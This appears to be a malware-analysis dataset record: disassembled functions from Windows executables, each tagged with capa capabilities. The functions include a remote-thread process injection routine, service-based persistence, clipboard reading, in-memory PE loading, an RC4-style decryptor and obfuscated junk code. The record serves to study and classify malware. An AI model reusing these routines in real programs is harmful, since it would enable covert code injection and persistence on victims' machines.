joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d70
Capabilities:
Check os version

Disassembly:
sub esp, 0x98
mov eax, dword [0x4269a0]
xor eax, esp
mov dword [esp + 0x94], eax
push 0x94
lea eax, [esp + 4]
push 0
push eax
call fcn.0040dbe0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 6
mov ecx, dword [esp + 0x94]
sbb eax, eax
xor ecx, esp
add eax, 1
call fcn.0040c1cb
add esp, 0x98
ret

Function at 0x401dd0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov dword [esp + 0x14], 0
lea esp, [esp]
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push ebp
call fcn.00401710
call fcn.00401ab0
add esp, 4
test eax, eax
jne 0x401e12
push 0xea60
call esi
jmp 0x401df0
mov eax, dword [esp + 0x20]
push eax
push 0
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x401e32
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x40
mov esi, eax
push 0x1000
add esi, 1
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x401f0a
push 0
push esi
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401efb
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x42236c
push str.Kernel32
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401efb
mov dword [esp + 0x10], 0
call fcn.00401d70
test eax, eax
je 0x401ed1
push str.NtCreateThreadEx
push str.ntdll.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401efb
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
push 0
push 0x1fffff
lea ecx, [esp + 0x38]
push ecx
call eax
jmp 0x401ee6
push 0
push 0
push ebx
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp + 0x14], 1
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [esp + 0x10]
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x401f1b
push eax
call esi
push edi
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x402570
Capabilities:
Check if file exists
Create directory
Get common file path

Disassembly:
sub esp, 0x118
mov eax, dword [0x4269a0]
xor eax, esp
mov dword [esp + 0x114], eax
call fcn.00401a30
push 0
push 0x23
lea eax, [esp + 0x18]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x402649
push esi
push edi
push str.Microsoft
lea ecx, [esp + 0x1c]
push ecx
push str._s_s
push 0x42ae0c
call fcn.00401380
mov edx, dword [0x42ae0c]
push str.Temp
push edx
push str._s_s
push 0x42ae08
call fcn.00401380
mov eax, dword [0x42ae0c]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 0x20
push eax
call edi
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jne 0x402602
mov ecx, dword [0x42ae0c]
push 0
push ecx
call esi
test eax, eax
je 0x402647
mov edx, dword [0x42ae08]
push edx
call edi
test eax, eax
jne 0x40261c
push eax
mov eax, dword [0x42ae08]
push eax
call esi
test eax, eax
je 0x402647
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], str.TimerSvr_Update
mov dword [esp + 0x10], 0x402490
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
pop edi
pop esi
mov ecx, dword [esp + 0x114]
xor ecx, esp
xor eax, eax
call fcn.0040c1cb
add esp, 0x118
ret

Function at 0x40c1cb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4269a0]
jne 0x40c1d5
repz ret
jmp fcn.004106db
Function at 0x4134d4
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x426c78]
je 0x4134ef
inc edi
cmp edi, 0x17
jb 0x4134e0
cmp edi, 0x17
jae 0x41366f
push ebp
push 3
call fcn.004199c8
cmp eax, 1
pop ecx
je 0x41363b
push 3
call fcn.004199c8
test eax, eax
pop ecx
jne 0x413523
cmp dword [0x42699c], 1
je 0x41363b
cmp ebx, 0xfc
je 0x41366e
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x42a070
push ebp
call fcn.0040db1b
add esp, 0xc
test eax, eax
je 0x413559
push esi
push esi
push esi
push esi
push esi
call fcn.00410b4f
add esp, 0x14
push 0x104
mov esi, 0x42a089
push esi
push 0
mov byte [0x42a18d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41359d
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.0040db1b
add esp, 0xc
test eax, eax
je 0x41359d
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00410b4f
add esp, 0x14
push esi
call fcn.0040d780
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4135e2
push esi
call fcn.0040d780
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x42a384
push 0x420c84
sub ecx, eax
push ecx
push eax
call fcn.004102d9
add esp, 0x14
test eax, eax
je 0x4135e2
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00410b4f
add esp, 0x14
jmp 0x4135e4
xor esi, esi
push 0x420c80
push ebx
push ebp
call fcn.0040f94a
add esp, 0xc
test eax, eax
je 0x413604
push esi
push esi
push esi
push esi
push esi
call fcn.00410b4f
add esp, 0x14
push dword [edi*8 + 0x426c7c]
push ebx
push ebp
call fcn.0040f94a
add esp, 0xc
test eax, eax
je 0x413626
push esi
push esi
push esi
push esi
push esi
call fcn.00410b4f
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0041980b
add esp, 0xc
jmp 0x41366e
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x41366e
cmp ebp, 0xffffffff
je 0x41366e
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x426c7c]
push dword [esi]
call fcn.0040d780
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x41980b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00414275
xor ebx, ebx
cmp dword [0x42a5f8], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x4198e1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4199c1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x420ec8
push edi
call esi
cmp eax, ebx
je 0x4199c1
push eax
call fcn.00414207
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42a5f8], eax
call esi
push eax
call fcn.00414207
mov dword [esp], 0x420ea4
push edi
mov dword [0x42a5fc], eax
call esi
push eax
call fcn.00414207
mov dword [0x42a600], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00410435
test eax, eax
pop ecx
pop ecx
je 0x4198af
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00410b4f
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x4198e1
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00414207
cmp eax, ebx
pop ecx
mov dword [0x42a608], eax
je 0x4198e1
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00414207
pop ecx
mov dword [0x42a604], eax
mov eax, dword [0x42a604]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x419966
cmp dword [0x42a608], ecx
je 0x419966
push eax
call fcn.0041427e
push dword [0x42a608]
mov esi, eax
call fcn.0041427e
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x419966
cmp edi, ebx
je 0x419966
call esi
cmp eax, ebx
je 0x419933
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x419933
test byte [ebp - 0x18], 1
jne 0x419966
lea eax, [ebp - 0x10]
push eax
call fcn.0041046c
test eax, eax
pop ecx
je 0x41994e
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00410b4f
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x41995d
or dword [ebp + 0x10], 0x200000
jmp 0x4199a1
or dword [ebp + 0x10], 0x40000
jmp 0x4199a1
mov eax, dword [0x42a5fc]
cmp eax, dword [ebp - 8]
je 0x4199a1
push eax
call fcn.0041427e
cmp eax, ebx
pop ecx
je 0x4199a1
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4199a1
mov eax, dword [0x42a600]
cmp eax, dword [ebp - 8]
je 0x4199a1
push eax
call fcn.0041427e
cmp eax, ebx
pop ecx
je 0x4199a1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42a5f8]
call fcn.0041427e
cmp eax, ebx
pop ecx
je 0x4199c1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4199c3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41db64
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4269a0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0041daf9
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0040dbe0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x41dbb3
cmp dword [ebp - 0x1c], 5
jb 0x41dbcb
jmp 0x41dbc7
cmp dword [ebp - 0x10], 1
jne 0x41dbcb
cmp dword [ebp - 0x1c], 4
ja 0x41dbc7
jne 0x41dbcb
cmp dword [ebp - 0x18], 0
jbe 0x41dbcb
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x421fa4
call fcn.0041d9cd
test eax, eax
jge 0x41dbec
mov byte [0x42ae10], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040c1cb
add ebp, 0x78
leave
ret
Function at 0x405be0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x472a5c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov al, byte [esp + 0x14]
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [esp + 8], esi
mov dword [esi], 0x47b01c
mov byte [esi + 0x1c], al
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov cl, byte [esp + 0x1c]
mov dword [esp + 0x14], edi
mov byte [esi + 0x2c], cl
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
lea ecx, [esi + 0x3c]
mov byte [esp + 0x14], 1
call fcn.0040aa40
mov dl, byte [esp + 0x1c]
lea ecx, [esi + 0x8c]
mov byte [esp + 0x14], 2
push edi
mov byte [ecx], dl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [esp + 0x1c]
mov byte [esp + 0x14], 3
mov byte [esi + 0xe8], al
mov dword [esi + 0xec], edi
mov dword [esi + 0xf0], edi
mov dword [esi + 0xf4], edi
mov cl, byte [esp + 0x1c]
mov byte [esp + 0x14], 4
mov byte [esi + 0xf8], cl
mov dword [esi + 0xfc], edi
mov dword [esi + 0x100], edi
mov dword [esi + 0x104], edi
mov dl, byte [esp + 0x1c]
mov byte [esp + 0x14], 5
mov byte [esi + 0x108], dl
mov dword [esi + 0x10c], edi
mov dword [esi + 0x110], edi
mov dword [esi + 0x114], edi
mov eax, dword [esp + 0x1c]
push 0x405b90
push 0xfffffffffffffffc
mov byte [esp + 0x1c], 6
push eax
mov dword [esi], 0x47af74
mov dword [esi + 4], eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowDC]
push edi
mov dword [esi + 8], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0xdc], edi
mov dword [esi + 0xd8], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x6c], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x9c], edi
mov dword [esi + 0x7c], edi
mov dword [esi + 0xa0], edi
mov dword [esi + 0xa4], edi
mov dword [esi + 0x118], edi
mov dword [esi + 0xe4], edi
mov dword [esi + 0xe0], edi
mov dword [esi + 0x88], 0xb5b5b5
mov ecx, dword [esi + 4]
push edi
push 0xc8
push 1
push ecx
call dword [sym.imp.USER32.dll_SetTimer]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x14], 0xffffffff
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x40ac30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [esp + 8]
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
and ecx, 0xffff
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x40ac5a
pop edi
pop esi
pop ebp
ret 0x10
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push edi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x40ac78
pop edi
pop esi
pop ebp
ret 0x10
push ebx
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, ebp
mov edi, eax
mov edx, ecx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov ecx, dword [esp + 0x18]
push 0
push ecx
call fcn.0040bbe0
mov edx, dword [esp + 0x28]
add esp, 8
push ebx
mov dword [edx], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
ret 0x10

Function at 0x40ace0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40acf5
xor eax, eax
ret 4
and al, 0x10
xor ecx, ecx
cmp al, 0x10
setne cl
mov eax, ecx
ret 4
Function at 0x40cb20
Capabilities:
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x4730e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], 0
mov ecx, dword [esi + 0x28]
mov eax, dword [esi + 0x30]
test ecx, ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x20], ecx
jle 0x40cd0f
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x40cb68
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40cd0f
push 0
push 0
push eax
mov eax, dword [esi + 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x60
call sub.MFC42.DLL_operatornew
mov ebp, eax
add esp, 4
mov dword [esp + 0x1c], ebp
test ebp, ebp
mov dword [esp + 0x2c], 0
je 0x40cbbc
xor ecx, ecx
mov dword [ebp + 0x58], ecx
mov dword [ebp + 0x5c], ecx
mov ecx, 0x18
xor eax, eax
mov edi, ebp
mov byte [esp + 0x2c], 1
rep stosd dword es:[edi], eax
mov byte [esp + 0x2c], al
jmp 0x40cbbe
xor ebp, ebp
test ebp, ebp
mov dword [esp + 0x2c], 0xffffffff
je 0x40ccfa
mov eax, dword [esi + 0x418]
lea edx, [esp + 0x10]
push 0
push edx
push 4
push ebp
push eax
mov dword [esp + 0x24], 0
call ebx
mov eax, dword [esi + 0x418]
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [ebp + 4]
push 4
push edx
push eax
call ebx
mov edx, dword [esi + 0x418]
lea ecx, [esp + 0x10]
push 0
lea eax, [ebp + 8]
push ecx
push 4
push eax
push edx
mov dword [esp + 0x30], eax
call ebx
mov edx, dword [esi + 0x418]
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [ebp + 0x14]
push 4
push ecx
push edx
call ebx
mov edx, dword [esi + 0x418]
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [ebp + 0xc]
push 4
push ecx
push edx
call ebx
mov edx, dword [esi + 0x418]
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [ebp + 0x10]
push 4
push ecx
push edx
call ebx
lea edi, [ebp + 0x18]
mov dword [esp + 0x14], 0x10
mov ecx, dword [esi + 0x418]
lea eax, [esp + 0x10]
push 0
push eax
push 4
push edi
push ecx
call ebx
mov eax, dword [esp + 0x14]
add edi, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x40cc66
mov eax, dword [esi + 0x418]
lea edx, [esp + 0x10]
push 0
lea edi, [ebp + 0x58]
push edx
push 4
push edi
push eax
call ebx
mov ecx, dword [edi]
inc ecx
push ecx
call sub.MFC42.DLL_operatornew
mov ecx, dword [edi]
add esp, 4
mov edx, eax
inc ecx
mov dword [ebp + 0x5c], edx
mov edi, edx
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp + 0x58]
mov edx, dword [ebp + 0x5c]
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi + 0x418]
push ecx
push edx
push eax
call ebx
mov eax, dword [esi + 0x2c]
test eax, eax
jne 0x40cce7
mov dword [esi + 0x2c], ebp
jmp 0x40cced
mov ecx, dword [esi + 0x14]
mov dword [ecx + 4], ebp
mov edx, dword [esp + 0x1c]
mov dword [esi + 0x14], ebp
mov eax, dword [edx]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
inc eax
cmp eax, ecx
mov dword [esp + 0x18], eax
jl 0x40cb64
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x451cc0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4779ed
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, ecx
mov cl, byte [esp + 3]
mov dword [esp + 4], eax
mov byte [eax], cl
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dl, byte [esp + 3]
mov dword [esp + 0x10], ecx
mov byte [eax + 0x10], dl
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x1c], ecx
mov dl, byte [esp + 3]
mov byte [esp + 0x10], 1
mov byte [eax + 0x20], dl
mov dword [eax + 0x24], ecx
mov dword [eax + 0x28], ecx
mov dword [eax + 0x2c], ecx
mov dl, byte [esp + 3]
mov byte [esp + 0x10], 2
mov byte [eax + 0x30], dl
mov dword [eax + 0x34], ecx
mov dword [eax + 0x38], ecx
mov dword [eax + 0x3c], ecx
mov ecx, dword [esp + 8]
mov dword [esp + 0x10], 0xffffffff
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x46e260
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x46e29a
push esi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
je 0x46e28d
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x46e28d
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, 1
pop esi
ret
xor eax, eax
ret
Function at 0x46e890
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x46e951
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x46e8fb
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x46e92f
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x46e92f
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x46e8be
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x46e960
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x46ea26
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x46e9b7
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x46ea0c
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x48cc1c]
je 0x46e9ce
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x46e9e7
test al, 0x40
je 0x46e9de
mov ecx, dword [ebx + 0x20]
jmp 0x46e9e5
test al, 0x80
je 0x46ea0c
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x46ea0c
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x46ea0c
push str.Error_protecting_memory_page_r_n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x46e984
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1ac5b00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x18]
call fcn.01ac5d6c
shr eax, 8
pop ecx
test al, al
je 0x1ac5b19
pop ebp
jmp fcn.01ac5298
pop ebp
jmp fcn.01ac4bbc
Function at 0x1ae0b1d
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
mov ebx, dword [esp + 4]
lea ebx, [ebx + 5]
xchg dword [esp + 4], ebx
mov dword [esp + 4], ebx
mov ebx, dword [esp]
lea esp, [esp + 4]
add dword [esp], 0xfffd9d91
xchg dword [esp], ecx
pushfd
add ebp, 0x3e
popfd
lea ebp, [ebp - 0x3e]
xchg dword [esp + 4], ecx
push ebp
mov ebp, esp
leave
xchg dword [esp], ecx
push eax
mov eax, dword [esp + 4]
lea eax, [eax + 0x2a]
xchg dword [esp + 4], eax
mov dword [esp + 4], eax
mov eax, dword [esp]
lea esp, [esp + 4]
popfd
pushfd
add ebp, 0x4d
popfd
lea ebp, [ebp - 0x4d]
jmp fcn.01ae1250

Function at 0x1ae1ec8
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov edx, dword [esp + 8]
push ebx
push esi
mov esi, dword [esp + 0x1c]
mov ebx, dword [edx]
mov eax, dword [edx + 4]
test esi, esi
jle 0x1ae1f2e
push ebp
mov ebp, dword [esp + 0x18]
sub ebp, dword [esp + 0x1c]
mov dword [esp + 0xc], esi
mov esi, dword [esp + 0x1c]
push edi
inc bl
movzx ebx, bl
mov cl, byte [edx + ebx + 8]
add al, cl
movzx eax, al
mov dword [esp + 0x18], eax
mov edi, dword [esp + 0x18]
mov al, byte [edx + eax + 8]
mov byte [edx + ebx + 8], al
add al, cl
movzx eax, al
mov byte [edx + edi + 8], cl
mov cl, byte [eax + edx + 8]
mov eax, edi
xor cl, byte [esi + ebp]
mov byte [esi], cl
inc esi
sub dword [esp + 0x10], 1
jne 0x1ae1eee
mov esi, dword [esp + 0x24]
pop edi
pop ebp
mov dword [edx + 4], eax
mov eax, esi
pop esi
mov dword [edx], ebx
pop ebx
pop ecx
ret